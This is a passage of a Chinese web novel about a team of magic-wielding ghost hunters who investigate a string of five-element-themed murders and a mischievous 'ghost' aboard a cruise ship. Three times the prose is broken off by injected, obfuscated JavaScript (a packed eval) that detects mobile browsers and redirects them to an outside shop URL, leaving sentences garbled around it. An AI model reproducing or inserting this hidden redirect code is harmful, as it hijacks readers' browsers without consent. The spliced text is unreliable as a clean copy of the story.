“先不要开枪!这里还有别人!”萧衍大喝一声,混乱的枪声戛然而止。 “哗啦啦”,角落里一排架子上的试剂瓶毫无征兆地翻到了地上,他们走过去看,除了一地的碎玻璃,什么都么有。 “是那个''鬼''?”莫君离说。 魏茯苓的抬起头,指着架子顶上的一个黑色小柜子说:“那个就是装试剂的保险箱吧。” 箱门打开,里面空空如也。 萧衍的语气倒有几分兴奋:“行吧,那就陪他玩玩。” 他话音刚落,他们面前的架子猛一摇撼,四人眼疾手快跳到一边,才没有被砸个正着。 头顶似乎有风吹过,颜清辞一伸手,扔出几枚符咒来,其中一枚似乎打中了什么。 “抓到你了!”颜清辞朝那处的空气一指,符咒亮起微光。 符纸抖动了几下,那人显然想将它揭掉。然而到底没有成功,过了一会儿,发光的符咒飞快移动起来。 魏茯苓抛出一根灵力索,也许是套住了那人的手或脚,绳索被用力拽动。 “咔嚓”一声,灵力索被生生挣断,符咒继续移动。 莫君离一抬手,架子上的一个个玻璃瓶腾空飞起,朝符咒周围的空气挨个砸过去。 “砰砰砰”,一部分瓶子砸中了那人,一部分被打回来,还有一些直接落到地上。 一时间,整个房间里丁零当啷好不热闹。 眼看符咒就要飘出门外,萧衍一转眼闪现到门口,他手上抓起一股灵力,正要朝面前的空气掷过去,身后却响起一个人声。 “这里出什么事了?” 仅那一两秒愣神的功夫,萧衍感觉到身边轻风掠过,他还来不及反应,手里已经多了一个试剂瓶。 他回过头,穿工作人员服装的小哥面无表情地说:“监控坏了,临时检修。” 他绕过他,走进屋子里,打着手电,照出一地的狼藉。 “你们在里面干嘛啊!” 他的语气透露出他内心的崩溃。 “我还想问你们呢,道具都那么不牢固,一推就倒,还是真玻璃,很危险的。” 萧衍面不改色,甚至倒打一耙起来。 另外三人也走了过来,萧衍举起手里的试剂瓶,问那工作人员说:“我们的任务就是拿到这个吧?” “对。”小哥此时此刻并不很想说话。 “那就是我们赢啦?”萧衍得意地笑了。 “那你这话可说早了!”开口的同时,魏茯苓举起枪,对着萧衍和颜清辞胸前的□□扣下了扳机。 “你……!”萧衍低头看着马甲上的灯光黯然熄灭,一时间气得说不出话来。 莫君离无奈一笑,转头对颜清辞说:“没办法,兵不厌诈嘛。” “你说的对。” 颜清辞也笑了。两声枪响,她干净利落地击灭了他和魏茯苓胸前的红灯。 在头顶的音箱里放出宣布胜利的音乐声中,这时他们才看清,颜清辞的灯还好好亮着呢! “游戏结束,请各位离场吧。” 小哥生无可恋地下了逐客令。 他们从漆黑的游戏室出来,颜清辞从口袋里掏出一面小小的化妆镜来,笑着说:“这东西平时派不上用场,没想到关键时刻还挺管用。” 魏茯苓上前,亲昵地搂住她的脖子,说:“输给你,我是服的,不打不相识,你叫我一声茯苓姐,咱们以后就是好姐妹。” 颜清辞淡淡一笑,应了一声“茯苓姐”。 魏茯苓爽朗一笑,忽然凑近她的耳边,用只有她俩才能听见的分贝说:“姓萧的就是个傻憨憨,你一个小指头就能拿捏他。我弟弟呢,人也很不错,如果你不知道怎么选,大可以都收了去。” 颜清辞尴尬地连连摇头:“不不不,收不了一点……” 她们正说着话,迎面便碰上了林朔和罗晟。 魏茯苓大步上前,站到罗晟面前,一甩长发,大声说:“好巧啊罗先生,又见面了。” 罗晟这回竟然难得开了金口,轻轻回了一句“嗯”。 “都在这里?要不要一起去吃饭?” 林朔看了看表,提议道。 一行人往餐厅走,林朔和颜清辞自然而然地聊起了方才激光枪战发生的怪事。 “林先生和罗队长去哪里玩了一下?” 颜清辞问。 “也没玩什么,去甲板上冲了个浪。” 颜清辞点点头,这倒是解释了两人湿漉漉的头发。 “你们呢,颜作家?” “刚从那个激光枪战出来呢,我们还在里面碰见那个鬼了。” “真的假的!” 林朔大惊。 “当然是真的,不是什么鬼,也是个会法术的。” 萧衍从后面探头过来。 “那这鬼……这个会法术的人,为什么要在船上吓人呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023122|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林朔不解。 “也许是为了好玩?又也许是……为了挣功德?” 莫君离也倾身向前,一脸认真:“昨天晚上给那个人送纸的行为,很有可能是为了功德,刚才在里面引导我们通关游戏,也像是这个目的。” 萧衍和莫君离并排走在最后面,两个人之间仿佛隔了一堵墙,各自都试图加入前排二人的谈话,彼此之间却毫无交流。 走在最前面的魏茯苓和罗晟这边,气氛一时也有些尴尬。 “罗先生,你这跟棍很是精巧啊,能不能借我玩玩?” 魏茯苓的眼睛盯着他腰间别着的“无妄”,语气却透出一股暧昧。 罗晟显然听出了这话里的歧义,红着脸憋出了一句“不能”。 遭到拒绝,魏茯苓倒也不恼,咯咯笑了两声,又说:“罗先生,你一直都这么害羞吗?” 罗晟没搭话,加快了前进的步伐。 魏茯苓从怀里掏出一个用紫色绳子手编的挂饰来,递到他面前说:“这个送你,挂在你的武器上,很相配。” 罗晟看了她一眼,犹豫片刻之后还是接了过去,飞快说了一声“谢谢”。 他将那挂绳快速塞进口袋里,再次陷入了沉默。 六个人还没走到餐厅门口,已经看见三四批穿着工作服的人匆匆忙忙地往反方向走。 罗晟敏锐地停下了脚步,回过头对其他人说:“刚才过去那两个好像是负责治安的,感觉出事了。” “跟过去瞧瞧。” 萧衍说着已经转身跟了上去。 他们跟着那两名穿白色制服的男人来到挂着“古典剧院”牌子的处所,那两人绕过拦在门口贴着“暂不开放”字样的隔离桩,朝里面去了。 六人对了对眼神,也悄悄跟了进去。 这处剧院还处于装修阶段,舞台正在搭建地基,一根根木桩拔地而起。 观众席的座椅扶手和二层的包厢外立面也都是纯木质打造,看起来,设计者确实是要将此处打造成一个真正的“古典风格”的剧院。 他们朝着一群工作人员围着的地方走过去,终于看清了触目惊心的现场——舞台内侧的几排木桩,不知怎的和其他地方的都不一样,顶端被削尖了。 而在那堆木桩之上,插着一个男人。 死人。 他的身体被尖尖的木桩刺穿,木桩顶端还挂着他的缕缕血肉。 他的头冲下,面部恰好被一根木桩贯穿,脸上一个大洞,已然看不清本来的样貌。 罗晟抬起头,指了指舞台上方的一排木质脚手架搭成的通道说:“他是从那里摔下来的。” 果然,死者头顶正上方的通道栏杆裂了一个豁口。 林朔上前端详了一遍尸体,说:“瞬间死亡,应该没有太多痛苦。” 穿白色制服的其中一个男人对戴着安全帽的几名工人问道:“这木桩谁给削尖的?” 工人们显然吓得不轻,带头那个颤颤巍巍地答道:“不是我们削的,谁会这么干呀!” 这时,身后传来脚步声,一个中午十足的男声响起。 “几位顾客,这里是工作区域,还请你们移步。” 他们回头一看,这位身形矫健的中年男子也穿着白色制服,只是肩章的样式和刚才那两位略有不同。 “贺船长!” 所有工作人员见了他,都毕恭毕敬地打招呼。 六个人谁也没动,萧衍说:“我们也是恰好路过,可是船长先生,船上出了这样的命案,我们着实有点担心啊。” 贺船长淡定一笑,说:“让各位看到这样的场景实在抱歉,确实发生了意外,我们已经联系了警方,并且马上会安排返航。 不过,为了避免造成恐慌,还请几位不要把这里发的事散播出去,作为补偿,我们会给各每人提供一张价值2000元的代金券,您下次可以使用。” “你们这船又闹鬼又死人的,有没有下次都两说呢。” 萧衍讽道。 眼看船长脸色变得有些难看,萧衍连忙解释道:“我们是你们大老板请来捉鬼的,就住在顶层的星海套房,你可以自己去问。” 萧衍指了指罗晟,继续说:“这位罗队长之前就是警察,回到港城也还得一两天,我们可以帮你们调查这件事。 毕竟,如果是凶杀的话,有第一起就有第二起。” 10.闹鬼游轮(四) 从船长的神情来看,他显然是知道有捉鬼队这回事的。他朝身后站着的女士使了个眼色,她退到一边,打起了电话。 贺船长沉吟片刻,点点头,问萧衍道:“这位大师,你的意思是,这件事可能和闹鬼有关系?” “不一定,之前船上也传闹鬼,但从来没出过人命,你碰上我们算是中了彩票,管他是人是鬼,我们都能抓出来。” 女士打完了电话,同贺船长耳语了几句,船长脸上露出一个职业的微笑,说:“几位大师,那就麻烦你们了。” 莫君离这时开了口:“船长,你们查出来死者的身份,还麻烦通知我们一下。” “好,会给你们房间去电话的。” 命案发生后不久,两个团队分别接到了“订单升级”的通知。 现下这一单已经从单纯解决闹鬼传言,变成了挽救游轮名声于生死之间——老板的心愿更加迫切,平台上的订单价值自然也水涨船高。 剧院死者的身份很快得到了核实——这位韩先生是8层的一位住户,刚离婚,和一群哥们儿来散心。 据他哥们儿说,出事前一天晚上,他喝多了自己跑出去闲逛。 当天晚间十点,六人坐在游轮安全部的办公室里,听下午见到的那两位治安负责人讲着案情。 “韩先生应该是不小心进入了建设中的剧院,爬上高处不慎坠落的。” 其中一位王主任说。 “不慎坠落确实是有可能的,但底下这木桩总是人为的吧。” 莫君离说。 就在此时,办公室的内线电话响了。 另一位范主任挂了电话之后,神情凝重地对所有人说:“大副打来的,我们的定位导航系统失灵了,而且失去了和陆地的一切联系。” 众人纷纷掏出自己的手机,之前明明还连得上的游轮网络果然瘫痪了。 “意思是,科斯塔号现在变成了一艘‘幽灵船’?” 萧衍问。 罗晟面部的肌肉微微抽搐了一下,不悦道:“能不能别用那两个字?” 魏茯苓的神情也难得严肃了起来,她看着安全部的二人,压低了嗓音说:“很遗憾地通知二位,剧院的那位,恐怕不会是唯一一位受害者。” 她的预言很快就应验了——几个小时后的凌晨时分,水疗中心的工作人员在清场的时候发现,一位大腹便便的客人溺亡在了具有清洁养肤功效的“泥浆浴”里。 萧衍他们正计划去底舱再探探那个“鬼”的踪迹,接到消息,赶到水疗中心,发现魏茯苓和莫君离已经先到一步。 王主任和范主任站在那间私人汤泉门口,一脸愁云惨淡。 “联系不上陆地,也靠不了岸,这事闹得……” 范主任发起了牢骚。 王主任则招呼几个工作人员过来,让他们尽快把尸体运走。 “等等。” 林朔大声喝止他们,快步走上前说,“让我先看一眼现场。” 王主任脸上闪过一丝迟疑,萧衍几步上前,解释道:“别着急,林朔从前当过法医。” 听他这么说,王主任的表情送出了一些。林朔看了他一眼,说:“能去给我找双乳胶手套来么?” 工作人员找来手套,林朔径直朝尸体走去。 罗晟也跟了进去,其他人则都站在门口远远观望,而那两位主任,此时已经走到水疗中心外边去等,仿佛想要远离这死亡的晦气。 “林先生以前还当过法医呢?” 颜清辞问萧衍道。 “他们家是仵作世家,很久以前就干过仵作,近几十年来闲的无聊,去读了个医学院,又当过一段时间法医。” “原来是家学渊源。” 颜清辞点点头。 萧衍忽然转向莫君离,语气带着攻击性,却不似之前与他说话时带着情绪,而是十分冷静地说: “莫先生,我们两队人,在这一单上本质还是竞争关系,我们这边有查案的专业人士,你们没有,那你们要是还在这边等着听现成的线索,多少就有些不地道了吧。” 萧衍这话说得有理有据,态度也不冒犯,但魏茯苓显然是一脸的不服气。 刚要发作,莫君离拦住她,说:“萧先生说得有道理,我们也是凭本事接单,绝对没有蹭你们的意思。既然如此,我们就分头行动,大家互不干扰,如何?” 莫君离拉着马上就要骂出声的魏茯苓往外走,颜清辞目送他们远去,整个过程没说一句话。 萧衍这时像是松了口气,他小心翼翼看了颜清辞一眼,说:“我还以为你会不高兴。” “不会啊,你说得对,我们辛辛苦苦查到的线索,确实不应该跟他们分享。” “你不是跟他们关系还不错么?” “工作是工作,我不会把个人感情带到工作里。况且,这一单不止关乎我,你和林先生就算不缺钱,罗队长还需要功德呢。” “哦,所以是有个人感情在的?” 萧衍听了这话,看起来却更沮丧了。 “你关注的点很奇怪诶,萧老板。” 颜清辞皱了皱眉,不解地看了他一眼。 林朔和罗晟从里面出来,四个人看着一群工作人员用担架把那浑身沾满泥浆的肥硕男人抬了出去。 那尸体像一座土丘,巨大而笨重,半僵硬半软塌地陷在担架里。 林朔一边摘手套一遍汇报自己的发现:“死者指甲磨损严重,池子边上有指甲的刮痕,应该是想要挣扎起身时留下的。死者身上没有皮下挫伤,无打斗痕迹,可能是单纯滑倒在泥浆里由于肥胖起不来才闷死的。” “也有可能是受到特殊力量的压制而无法起来。” 罗晟补充道。 “一会儿去地下冷库,还需要仔细查看一下尸体。” 林朔说。 他们先绕去甲板上看了一圈,船在黑暗中缓缓前行,四周被一层薄雾笼罩,他们能够感知到雾气中缥缈的丝丝灵力。 “昨天下午碰到的那个‘鬼’灵力确实不低,但还不至于能到控制这艘船的程度。” 萧衍给出了自己的判断。 四人组来到底舱的冷库,这里存放着冷冻的肉和海鲜。此时,存放两具尸体的担架正放在冷库中央。 “我明天开始吃素。” 萧衍看着四周架子上的食材说。 林朔拉开亮黄色裹尸袋,两具尸体在低温的作用下,表面呈现出一层灰白——那是死亡的色调。 他仔仔细细查看了那两具尸体,过了许久,即便是用功德取着暖,一丝寒意仍然透进了他们的皮肤。 “你们看。” 随着林朔在那个跌入泥浆的胖子胸前轻轻一抬手,符纸的一角在他的皮肤表面现了出来。 “傀儡术!” 颜清辞一眼就认了出来,“他果然是被控制住所以才没办法起来!” 罗晟道:“现在的问题就是,控制船的,杀人的,和那个传闻中的‘鬼’,究竟是同一个人,还是不同的人。” 萧衍打了个哈欠,说:“不管有几个人,总之,这件事不会就这么结束,只是不知道,下一个遭殃的会是谁。” 罗晟又说:“叫安全部再提供一下两名死者的身份信息吧,也许他们之间有什么联系也说不定。” 林朔这时已经将尸体重新封回裹尸袋里,他摘下手套,对另外三人说:“这边没什么可查了,我们出去吧。” 第二天上午,四人组从安全部那里得知了第二位死者的身份:杨锦年,知名食品品牌、上市企业锦元糕饼的创始人和掌舵人,现年63岁。 无论怎么看,他和那位中年失婚,背了一身房贷的普通打工人都扯不上一点关系。为什么偏偏选择了他们两个?会不会还有下一个受害者? 这些问题暂时无解,这一天过得很漫长,表面上却又风平浪静。 一切现代航海科技都失灵的科斯塔号,仿佛19世纪的万吨巨轮,航行在波诡云谲的一片汪洋之中。 入夜时分,四人现下无事可做,只能静待时局的变化。 原本今天应该在芽庄靠岸,游轮方以天气为原因搪塞了过去,目前船上的大部分游客还未察觉异常,但少数人也已经发现了端倪—— 比如第一天遇到的奇装异服四人组,这两天深夜,都能看见他们鬼鬼祟祟穿梭在船舱里的身影。 有一次,颜清辞一行和他们正脸撞见,那个拿着罗盘的男人还神秘兮兮地凑上来说:“我觉得,这两天船上不太平,看船员的脸色就知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027739|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 颜清辞补眠醒来的时候,外面天色已经全暗,她下楼,在茶几上看见了男人们给她留的字条,上面写着: 「我们在餐厅,也可能去酒吧。」 在四人组成立之前,萧衍、林朔和罗晟就经常一起出来吃饭喝酒,外人看起来,他们这个组合,像极了三个借酒浇愁的光棍。 然而这天光棍团里显然有人出现了“单飞”的势头。他们刚进酒吧坐下没多久,魏茯苓出现了。 她穿着酒红色的一字肩连衣裙,露出优雅的天鹅颈和美丽的锁骨。 裙身的包裹恰到好处地凸显出她身材的曲线,当得起“风情万种”四个字。 她朝他们径直走过来,在罗晟边上坐下,给自己点了一杯Belini(贝利尼鸡尾酒),笑着问他:“你们现在算是娱乐时间吗?” 罗晟喝了一口自己杯中的威士忌,答:“算吧。” “那就成,你们萧先生,嫌我们蹭你们的调查成果,我可得小心着点,免得又被骂。” 魏茯苓瞟了萧衍一眼,颇有点阴阳怪气。 罗晟对此不置可否,只是闷头喝着酒。 “我就说这个挂绳很配你的棍吧。” 魏茯苓一眼瞧见“无妄”上已经点缀上了自己送的挂饰,开心地说。 “嗯。” 罗晟应道。 悠扬的音乐响起,是电影《闻香识女人》里那首经典的Por Una Cabeza。 “跳舞吗,罗队长。” 魏茯苓起身,双眸亮晶晶地看着罗晟。 “探戈我不会。” 罗晟拒绝。 “你这么说就是看过电影咯,那你应该知道,探戈嘛,谁都会跳错,尽情跳就是了。” 她微笑着演绎出电影里的台词。 “去吧,老罗你明明很会跳舞的。” 萧衍也帮腔道。 最终,他还是跟魏茯苓走进了舞池。 探戈是富有激情的舞蹈,你进我退、相互试探。 魏茯苓扮演阿尔帕西诺的角色,引领罗晟跟随她的舞步。 罗晟则显得拘谨,两只手悬在魏茯苓的后背和腰间,全程无处安放。 林朔和萧衍相视一笑,轻轻碰杯。 这时,两名装扮时尚的美女朝他们这边过来,脸上带着醉意。 她们在萧衍这边坐下,其中一个靠在吧台上,托着下巴笑盈盈地跟他打招呼。 “帅哥,不请我们喝一杯嘛?” “这里的酒不要钱,请不了呢。”萧衍的语气温和而冷淡。 “免费的酒喝够了,看你戴的表,开一瓶康帝没问题吧?”美女挑了挑眉说。 “不好意思,我没有请陌生人喝康帝的习惯。” 另一位美女忽然靠上来,将手搭在他的胳膊上笑着说:“帅哥练得不错啊,你这样的,也可以我们请你喝。” “不用了,我怕我女朋友会生气呢。”萧衍轻轻挪开胳膊笑着说。 第一位美女仍不罢休,一双红唇凑在萧衍耳边轻声说:“你女朋友也在船上吗?别让她知道就行了。" 一边说着,她的手已经放在了他的胸前,人也几乎靠了上来。 “别,我惧内……” 萧衍推开她,却听见林朔的声音说:“你女朋友来了……” 顺着他视线移动的方向,萧衍看见颜清辞正站在酒吧门口朝这边看。 仅短短几秒,她便转身走了出去。 “要死!”萧衍几乎是从高脚椅上跳起来,快步追了出去。 颜清辞先去了餐厅,没找到那三个人,又转到酒吧,刚走到门口,就瞧见萧衍被美女簇拥着,温香软玉,艳福不浅。 见此情形,颜清辞识趣地退了出去,这种时候,自然是要成人之美。 她刚走出去几步,萧衍火急火燎追出来,气喘吁吁唤了一声“颜作家”。 她回过头,眼神有些困惑:“怎么了萧老板?春宵苦短,可得把握机会啊。” “什么机会?没有的事,是她们对我动手动脚的,我可没那想法。”萧衍急切地解释道。 颜清辞点点头,颇有几分认真地说:“这样啊,那你可得小心点,男孩子在外面也要保护好自己。” 11.闹鬼游轮(五) 萧衍笑了,叹了口气说:“哎,没办法啊,谁叫我这脸蛋这身材,哪儿哪儿都无可挑剔呢?颜作家,讲真的,这胸肌,你自己摸一下就知道了。” 颜清辞沉默看了他几秒,说:“萧老板,咱们真没熟到这份儿上,你也着实不用跟我解释那么许多。 就算你一下找两个妹子,也是你的个人自由。你的私人感情问题我没兴趣知道,这方面我也给不了任何建议,所以以后,你不用跟我说这些。” 她说完,头也不回地走了。 颜清辞快步走出去几百米,隐隐觉得自己话说得有点重,但说都说了,也收不回来,多思无益。 她也不太明白自己为什么会失了冷静,可能是因为他太不着四六了…… 总不能是因为看见他左拥右抱吧,毕竟这和自己有什么关系呢? 她出来转了一圈,最后还是回了房间,过了一会儿,林朔敲开了她的房门。 “颜作家,又出事了。” 赶赴现场的路上,林朔跟她同步了事件的情况。 “这次是金库,有个工作人员被钱砸死了。” 颜清辞睁大眼睛道:“还有这样的事?” “嗯,据说是这趟船运的现金太多,有一些装箱堆在外面,操作失误没有绑牢安全绳,船只反复颠簸,钱箱倾倒下来砸死了人。” “这么大的船,哪有那么颠簸?” “可就是说呢。” 两人不紧不慢地走着,林朔突然转变了话题说:“颜作家,不是我替朋友说好话,刚才你可能真的误会萧衍了,确实是那两个姑娘上来搭话的,他自始至终都没有答应她们的邀约呢。” 颜清辞平静地说:“其实你真不用跟我解释的,我尊重萧老板的私生活。” 林朔轻轻叹了口气,说:“颜作家,我觉得你对萧衍有一些误解。他看上去是挺没个正形儿的,但绝对不是个轻浮的人。他呀,其实挺纯情的,对喜欢的人很专一的。” “哦?” 颜清辞抬眼看向他,“那他喜欢的那个人呢,在哪里?” 林朔顿了顿,吐出一口气说,“她啊……很早以前出了意外……” “哦……” 这是她意料之外的答案,一下子不知道怎么接了。 林朔淡淡一笑,说:“颜作家,我告诉你这些,没什么别的意思,就是希望你不要对老萧有什么偏见,他对你,的确是真诚相待的。” 跟他们相处了一段时间,颜清辞也渐渐摸清了林朔和萧衍之间的关系。 明面上他是萧衍的大秘兼管家,但实际上,这两人亲如兄弟。 这会儿林朔直接当着她的面称呼萧衍为“老萧”,足见“真诚”一词所言非虚。 颜清辞点点头,说:“知道了,谢谢你林先生,我承认我先前对他的态度确实有些许恶劣,我会找机会跟他说清楚的。” “那就好。” 言语间,两人已经走到位于十层和十一层中间夹层的游轮金库。 罗晟、萧衍和那两名主任已经站在圆形大门里面,砸在受害者身上的金属钱箱被搬到一边,他们脚边躺着的,是一个穿着游轮工作服的男人,面朝地躺在血泊之中。 无数人都曾经梦想过有一天被钱砸中,但谁能想到,那天真的到来的时候,竟会是如此噩梦。 “之前是谁负责固定这些箱子?” 罗晟问。 “就是躺在这里的这个小陈,他每天的工作就是对金库进行例行检查。” 王主任回答说。 “金库的钱清点过了吗,有没有少?” “没有少。” 范主任说,“搞不好,这一次真的是意外呢?” “不可能是意外。” 颜清辞斩钉截铁地说,所有人的目光都聚焦到她的身上。 颜清辞朝放在一边的钱箱一指,只见那金属箱四角现出四根细线来。颜清辞一抬手,钱箱被那细线牵了起来,升到半空。 “以这些钱箱码的高度,倒下来并不一定能砸死人,是有人这样将钱箱抬起来再砸下去,才能一击毙命。” 王主任和范主任面如土色,齐齐说:“真的有鬼?” 颜清辞轻轻放下那个钱箱,平静地说:“不是鬼,是和我们一样有法术的人罢了,只是这些人究竟是谁,有什么目的,我们还不清楚。” 这时,莫君离和魏茯苓出现在了金库门口。 萧衍看了他俩一眼,对其余三人说:“这里就先这样,我们先出去吧。” 他们从金库出来,萧衍一个人走在最前面,从刚才开始,似乎就在刻意回避颜清辞似的。 她跑上前去,拍了拍他说:“萧老板,我有话跟你说。” “那个……我和老罗去楼下喝一杯。” 林朔识趣地拉着罗晟飞快溜进了电梯。 颜清辞深吸一口气,看着萧衍的眼睛,说:“萧老板,我之前对你态度不好,我给你道歉。” 萧衍挠了挠头,故作镇静地说:“你说什么呢……这种小事,我都不记得了。” “我之前对你确实有一点偏见,对你的个人作风有误解,不过林先生跟我说了你喜欢的人的事,对此我很抱歉,还请你节哀。” 萧衍愣了一下,脸上闪过一丝复杂的表情,片刻后又恢复平静,仍是一副云淡风轻的样子说:“林朔这小子还真是什么都往外说啊,不过也好,这下颜作家你该知道我其实是个好男人了吧。” 颜清辞没搭理他,转身往电梯的方向走。 “走吧,死了第三个了。” 萧衍屁颠颠地跟了上去,嘴上仍喋喋不休:“真的,颜作家,我是个老派人,道德观念比现代人高太多了……” 两人站进电梯,颜清辞抬头看了他一眼,半开玩笑地说:“你不是明朝人么?你们那时候,难道不是三妻四妾?” “没有没有,我们萧家世代清流,我爸就只有我妈一位仙侣,再说了,修炼之人不以子嗣为重,没必要纳妾啊。” “哦,原来如此。” “可说呢,哎,怪就怪我长得太妖孽了,这张脸,真的很容易让人误会呢。” 颜清辞深吸了一口气,努力抑制住上去捂住他嘴的冲动,说:“和你的脸真的没关系,萧老板,你如果少说两句,兴许还能好些。” 他们来到酒吧,与林朔和罗晟会和。一见面,林朔便迫不及待地说起了他的新发现。 林朔娓娓说起他和罗晟的研究心得:“我和老罗复盘了一下三起凶杀案,第一名死者,被木桩杀死,这是木; 第二名死者,死在泥浆浴里,这是土; 刚才这个,被钱砸死,也就是金。” “有道理啊!” 萧衍恍然大悟,“如果真是五行,那倒是像某种祭祀的手法了。” 颜清辞也点着头说:“这么说,后面应该还有两名受害者,下一起案件,不是和水有关,就是和火有关咯。” 林朔道:“问题就是,我们在船上,四周都是水,而火,谁都可以放,就算知道了五行的秘密,一时半会儿也抓不出那个幕后黑手。” “话虽这么说,至少船上有一个地方,我们还是可以布防的。” 萧衍说。 那天泳池关门之后,四人组便悄悄潜伏在了更衣室。 颜清辞在门口站了一会儿,被人从背后拍了一下,心理素质过硬的她没有出声,心下却是一惊。 手上的灵力呼之欲出,回过头一看,原是魏茯苓 “你们也发现了金木水火土的规律了?” 她面带笑意,压低声音问。 “吓我一跳。” 颜清辞回拍了她的胳膊一下。 男更衣室那边也传来一阵噪声,显然是莫君离和光棍组碰上了头。 过了一会儿,四周归于寂静,所有人都凝神屏息,注视着泳池平静的水面。 过了两三个小时,泳池入口的门被轰然推开。一个身着白裙、光着脚的年轻女孩咯咯笑着跑了进来。 在她身后跟着一个与她年纪相仿的男孩,他们手里都拿着酒杯,显然喝醉了。 “你小心点,别掉水里去……” 男孩笑着说。 他话音未落,女孩便一脚踩进了泳池里。男孩伸手去拉,却被一同拉了进去。 两人在水中挣扎起来,水面翻滚起来,似乎有一种无形的力量,要将两人吞没到水底。 众人从更衣室冲出,萧衍和莫君离直接跳进水里去救人,林朔大喝一声:“在上面!” 颜清辞一抬头,看见屋顶上闪过一个人影。罗晟纵身一跃,凌空飞起,撑开无妄便朝那人抡了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035163|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那人瞬间隐去身型,但无妄显然击中了他,只听一声重重的落地声。 颜清辞眼疾手快,朝着声音的方向一挥手,泳池的水被掀起一角,泼了过去。 接着,他们便看见了地上留下的一串湿脚印往外移动。林朔,罗晟和魏茯苓跟着脚印追了出去。 此时,落水的两人已经被救了上来。莫君离用法术吸出他们肺里的水,两人呛咳了几声,苏醒过来。 “大半夜的乱跑什么!” 萧衍斥责道。 那女孩受了惊吓,脸色惨白,抽抽嗒嗒地说:“我……我看到一只会发光的蝴蝶……就……跟过来看看……” 颜清辞上前蹲下,拍了拍她的肩膀,安慰道:“现在没事了,你们房间在哪里,我送你们回去。” 她回头看了一眼萧衍和莫君离,两人身上都湿透了,不知道是不是故意的,萧衍干脆脱了上衣,绞下上面的水。 “你们……也快回去换身衣服吧。” 颜清辞脸刷地红了一片,迅速将头扭了回去。 另一边,罗晟一行一直追到一层甲板,地上的水脚印消失了。 林朔用幻术圈出一个空间,甲板地面折叠起来,将他们围入其中。 “砰”地一声,一面墙壁被破出一个洞来。 林朔一抬手,四周更大范围内竖起金属围栏,筑起一道铁笼。 片刻后,铁笼边缘长出尖锐的倒刺,倒刺随着那人移动的方向生长。观察了一阵那人移动的轨迹,林朔骤然捏紧拳头,倒刺四周筑起牢笼。 “抓住了。” 林朔轻念。 刺耳的金属摩擦声响起,顷刻间,整个囚笼分崩离析。 魏茯苓飞快抛出灵力索,被那人一下挣断,罗晟几步上前,朝着灵力索的位置一棍下去,那人终于现出形态。 他一回头,脸上戴着一个青面獠牙的鬼面具。罗晟再挥棍,那人一闪身,手中掷出一团白烟,从地上滚起,朝着甲板边缘飞跑过去。 罗晟只觉双眼火辣辣生疼,他用力揉了揉眼睛,朝甲板边正在作业的一名工作人员大喊:“快跑!” 那人愣愣地看着这边的动静,正在犹豫中,被那名面具男用力一扯,硬拽着拖到甲板边缘,一同翻下了栏杆。 罗晟追过去的时候,只看见游轮底下溅起两道水花,而后只剩漆黑的海平面,不现一丝波澜。 忽然,散落在地的船锚铁链发出一声异响,像是有人被绊到的声音。 罗晟敏锐地回过身,举起无妄朝声音的方向打去,地上现出一个小女孩的身影来,他连忙收棍,整个人往后一趔趄。 那女孩蹲在地上,捂着脑袋呜呜哭了起来。 魏茯苓走了过来,连声安抚道:“小妹妹,你别哭,告诉姐姐,为什么躲在这里?” 罗晟将无妄收回腰间,对那小姑娘问道:“你跟刚才那个人是一伙的吗?” 小女孩抬起脸看了看他们,用力摇了摇头。 林朔打量了这个小小的魔一遍,说:“你就是这条船上那个‘鬼’吧?” 颜清辞把那一对小情侣送回房间,回到自己的星海套房。 一开门,就看见萧衍敞着白色的亚麻衬衣,晃着红酒杯,倚着吧台笑盈盈地看着她。 “你就不能把衣服穿好?” 颜清辞叹了口气。 “正要穿呢,你来得太快。” 萧衍放下杯子,一颗颗扣起那些扣子来。 “明朝没有幼儿园,所以你扣子扣那么慢?” “扣得慢没关系啊,我解得快。” “闭嘴。” 不多一会儿,有人敲门,萧衍一开门见是莫君离,脸色马上沉了下来。 “你来干嘛?” “茯苓姐说抓到船上的‘鬼’了,我们也有参与抓捕,来看看情况没毛病吧。” 萧衍无言,只得把他让了进来。 又过了一会儿,罗晟他们带着一个七八岁模样的小女孩回来了。 林朔进门便说明了情况:“好消息,‘鬼’抓到了,坏消息,杀人的不是她,那人跳进海里去了,还带走一个。” 魏茯苓摸着小女孩的头,柔声说:“来,圆圆,把刚刚跟姐姐说的再跟他们说一遍,在这艘船上对客人搞恶作剧的,是不是你?” 12.闹鬼游轮(六) 听了魏茯苓的问话,小女孩点点头。 “那天,在黑黑的房间里,把架子推倒,跟哥哥姐姐玩捉迷藏的,也是你?” 